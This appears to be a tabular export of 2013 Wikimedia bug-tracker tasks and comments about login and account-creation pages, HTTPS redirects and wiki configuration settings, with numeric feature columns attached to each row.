215793,"""LOGIN TO UPLOAD MEDIA..."" not centered in Android app",Let's just remove the text all together.,,,1361834976,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-ka5vxemyukvf7ektyaln,task_subcomment,,True,c2,1,False,,,-27,True,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,Let's just remove the text all together.
47220,Persona Login,"**Author:** `wikimedia-bugs`

**Description:**
Allow users to log in with Persona instead of having to create a new account.

Some documentation on persona and how to integrate it can be found at: <https://developer.mozilla.org/en-US/docs/Persona>.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1361428140,1361453228.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-64j72hiqkmcxn2sfxgct,task_description,invalid,True,c2,1,False,False,True,-27,True,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.71875,0.65625,"**Author:** CODE

**Description:**
Allow users to log in with Persona instead of having to create a new account.

Some documentation on persona and how to integrate it can be found at: <URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
206328,Persona Login,We already have an extension for this it seems: https://www.mediawiki.org/wiki/Extension:Persona,,,1361453228,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-64j72hiqkmcxn2sfxgct,task_subcomment,,True,c2,1,True,,,-27,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,We already have an extension for this it seems: URL
46658,Switching to https redirects account creation page to login,"Go to http://en.m.wikipedia.org/wiki/Special:UserLogin?welcome=false&returnto=Tanks%20in%20the%20Spanish%20Army&returntoquery=article_action%3Dwatch&type=signup

Get login page. Notice type=signup in url...

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1360028400,1360201851.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-kxk3tjl34ufyv7csehig,task_description,resolved,True,c2,1,False,False,True,-30,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.606060606060606,0.696969696969697,"Go to URL

Get login page. Notice type=signup in url...

--------------------------
**Version**: unspecified
**Severity**: normal"
223786,Switching to https redirects account creation page to login,https://gerrit.wikimedia.org/r/#/c/47606/1,,,1360089073,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-kxk3tjl34ufyv7csehig,task_subcomment,,True,c2,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
223780,Switching to https redirects account creation page to login,"Whoops. The code that handles the redirect only appears to care about 'returnto' and 'returntoquery' params:

if ( $wgMFForceSecureLogin && WebRequest::detectProtocol() != 'https' ) {
			// get the https url and redirect
			$request = $special->getContext()->getRequest();
			$query = array(
				'returnto' => $request->getVal( 'returnto', '' ),
				'returntoquery' => $request->getVal( 'returntoquery', '' ),
			);
			$url = $mobileContext->getMobileUrl(
				$special->getFullTitle()->getFullURL( $query ),
				true
			);
			$special->getContext()->getOutput()->redirect( $url );
		}

This should be a quick fix.",,,1360088407,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-kxk3tjl34ufyv7csehig,task_subcomment,,True,c2,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.5,0.0,10.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,15.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.5,2.0,0.5,2.0,3.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,2.0,2.5,0.0,8.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,1.0,4.1414618086040385,0.5327041264266901,"Whoops. The code that handles the redirect only appears to care about 'returnto' and 'returntoquery' params:

if ( $wgMFForceSecureLogin && WebRequest::detectProtocol() != 'https' ) {
			// get the https url and redirect
			$request = $special->getContext()->getRequest();
			$query = array(
				'returnto' => $request->getVal( 'returnto', '' ),
				'returntoquery' => $request->getVal( 'returntoquery', '' ),
			);
			$url = $mobileContext->getMobileUrl(
				$special->getFullTitle()->getFullURL( $query ),
				true
			);
			$special->getContext()->getOutput()->redirect( $url );
		}

This should be a quick fix."
46646,Login and account creation page need standardization,"**Author:** `massaf`

**Description:**
mobile frontend account creation page

The account creation page and login page have too many visual differences, including typefaces, font sizes, and margins/paddings. See the attached screenshots.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F10746}",Needs Triage,90.0,1360004340,1362610238.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4gsbywvn562reki65pb3,task_description,resolved,True,c2,1,False,False,True,-30,True,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0394736842105265,0.5657894736842105,"**Author:** CODE

**Description:**
mobile frontend account creation page

The account creation page and login page have too many visual differences, including typefaces, font sizes, and margins/paddings. See the attached screenshots.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F10746}"
223089,Login and account creation page need standardization,https://gerrit.wikimedia.org/r/52179,,,1362441994,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
223086,Login and account creation page need standardization,"* Signup button on account creation needs curved corners
* Inputs should be grouped together on login page
* Font size are inconsistent
* W should shrink",,,1362427242,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.7666666666666667,"* Signup button on account creation needs curved corners
* Inputs should be grouped together on login page
* Font size are inconsistent
* W should shrink"
223081,Login and account creation page need standardization,https://gerrit.wikimedia.org/r/51623,,,1362102239,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
223077,Login and account creation page need standardization,"**mgrover** wrote:

https://mingle.corp.wikimedia.org/projects/mobile/cards/411",,,1360185239,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4444444444444446,0.6666666666666666,"**mgrover** wrote:

URL"
223072,Login and account creation page need standardization,"**massaf** wrote:

This fiddle contained the field styling for login on mobile:
http://jsfiddle.net/munaf/nCask/

We should standardize between the two (same font sizes, button size, rounded corners).",,,1360004480,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.725,0.825,"**massaf** wrote:

This fiddle contained the field styling for login on mobile:
URL

We should standardize between the two (same font sizes, button size, rounded corners)."
223066,Login and account creation page need standardization,"**massaf** wrote:

mobile frontend login page

**Attached**: {F10748}",,,1360004420,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.909090909090909,0.5909090909090909,"**massaf** wrote:

mobile frontend login page

**Attached**: {F10748}"
46491,http://wikitech.wikimedia.org/view/SearchShards results in an HTTP 500 error,"As reported by xyzram in #wikimedia-dev, http://wikitech.wikimedia.org/view/SearchShards is currently outputting an HTTP 500 error. It's a giant wikitable. I imagine it's simply memory exhaustion.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: http://wikitech.wikimedia.org/view/SearchShards",Needs Triage,90.0,1359509400,1359509536.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-7babrayfcqbsli4yq6kt,task_description,declined,True,c2,1,True,False,True,-30,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,5.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.540983606557377,0.6557377049180327,"As reported by xyzram in #wikimedia-dev, URL is currently outputting an HTTP 500 error. It's a giant wikitable. I imagine it's simply memory exhaustion.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL"
213380,http://wikitech.wikimedia.org/view/SearchShards results in an HTTP 500 error,"takes a long time to load but it does load without error.

https://wikitech.wikimedia.org/w/index.php?title=SearchShards&oldid=51607",,,1363031108,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-7babrayfcqbsli4yq6kt,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9333333333333333,"takes a long time to load but it does load without error.

URL"
213375,http://wikitech.wikimedia.org/view/SearchShards results in an HTTP 500 error,"No, it hits the time limit, not memory. I don't think it's a bug. Just delete the page if it offends you.",,,1359509536,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-7babrayfcqbsli4yq6kt,task_subcomment,,True,c2,1,False,,,-30,True,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.896551724137931,0.7931034482758621,"No, it hits the time limit, not memory. I don't think it's a bug. Just delete the page if it offends you."
46473,Disable $wgBlockDisablesLogin for wikimediafoundation.org,"Please set $wgBlockDisablesLogin false for wikimediafoundation.org.

In https://noc.wikimedia.org/conf/highlight.php?file=InitialiseSettings.php it is currently set to:

'foundationwiki' => 'true', // RT #690

which can just be deleted.

It makes no sense to have this enabled since wmf.org is a public wiki and it only prevents them from editing their talk page while blocked, which is not a concern.

There was also some discussion at https://wikimediafoundation.org/?oldid=87432 about disabling the setting.

I will ask Guillom and Philippe to comment here as well.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1359481560,1359506698.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-5jjkmmw2path2v5nvykt,task_description,resolved,True,c2,1,False,False,True,-31,True,1.0,0.0,0.0,1.0,1.0,3.0,1.5,0.0,0.0,0.0,1.5,2.0,0.0,0.5,1.0,1.0,0.0,5.5,6.5,0.0,1.5,0.0,1.5,0.0,1.0,1.0,0.0,0.0,0.5,1.0,0.0,3.0,0.5,1.5,1.0,0.0,0.0,1.0,0.5,1.0,0.5,1.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,7.5,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,8.5,1.5,1.5,5.5,0.0,0.0,0.0,0.5,3.0,0.5,0.5,0.0,3.5,6.5,3.5,0.0,2.0,0.0,3.5,0.0,1.5,1.5,0.5,1.5,0.0,0.0,1.0,3.923728813559322,0.7966101694915255,"Please set $wgBlockDisablesLogin false for wikimediafoundation.org.

In URL it is currently set to:

'foundationwiki' => 'true', // RT #690

which can just be deleted.

It makes no sense to have this enabled since wmf.org is a public wiki and it only prevents them from editing their talk page while blocked, which is not a concern.

There was also some discussion at URL about disabling the setting.

I will ask Guillom and Philippe to comment here as well.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
212415,Disable $wgBlockDisablesLogin for wikimediafoundation.org,"Done and removed.

https://gerrit.wikimedia.org/r/#/c/46653/1/wmf-config/InitialiseSettings.php

16:51 <+logmsgbot> !log dzahn synchronized ./wmf-config/InitialiseSettings.php",,,1359506718,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5jjkmmw2path2v5nvykt,task_subcomment,,True,c2,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.523809523809524,0.9523809523809523,"Done and removed.

URL

16:51 <+logmsgbot> !log dzahn synchronized ./wmf-config/InitialiseSettings.php"
212414,Disable $wgBlockDisablesLogin for wikimediafoundation.org,"gerrit change #46653 was merged and:

<+logmsgbot>!log dzahn synchronized ./wmf-config/InitialiseSettings.php",,,1359506698,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-5jjkmmw2path2v5nvykt,task_subcomment,,True,c2,1,False,,,-30,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.315789473684211,1.0,"gerrit change #46653 was merged and:

<+logmsgbot>!log dzahn synchronized ./wmf-config/InitialiseSettings.php"
212413,Disable $wgBlockDisablesLogin for wikimediafoundation.org,"Yup, this setting doesn't make sense for foundationwiki.

It was added as part of a more general request (tracked in that RT ticket) to permanently disable accounts on private wikis. When it was pointed out that $wgBlockDisablesLogin would do the job, it was asked to enable it on those private wikis, and foundationwiki was added to the request even though it didn't make sense there, because it's a public wiki.",,,1359481891,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-5jjkmmw2path2v5nvykt,task_subcomment,,True,c2,1,False,,,-31,True,0.0,0.0,0.0,5.0,2.0,5.0,0.0,1.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,1.0,8.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,7.0,15.0,4.0,0.0,0.0,0.0,7.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,4.107142857142857,0.6904761904761905,"Yup, this setting doesn't make sense for foundationwiki.

It was added as part of a more general request (tracked in that RT ticket) to permanently disable accounts on private wikis. When it was pointed out that $wgBlockDisablesLogin would do the job, it was asked to enable it on those private wikis, and foundationwiki was added to the request even though it didn't make sense there, because it's a public wiki."
46355,Login form error message has no margin,"Login with an account that doesn't exist.
The error message should have a margin.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1359142860,1359595258.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-t3jpcpmrk7tcu2iqn7ib,task_description,resolved,True,c2,1,False,False,True,-31,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,11.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.6944444444444444,"Login with an account that doesn't exist.
The error message should have a margin.

--------------------------
**Version**: unspecified
**Severity**: normal"
229284,Login form error message has no margin,https://gerrit.wikimedia.org/r/45915,,,1359160095,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-t3jpcpmrk7tcu2iqn7ib,task_subcomment,,True,c2,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
46353,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"When $wgSecureLogin is set to true, the OpenID login page should redirect the user to HTTPS so that all transactions occur over TLS.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1359141540,1380809277.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_description,resolved,True,c2,1,False,False,True,-31,True,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0227272727272725,0.75,"When $wgSecureLogin is set to true, the OpenID login page should redirect the user to HTTPS so that all transactions occur over TLS.

--------------------------
**Version**: master
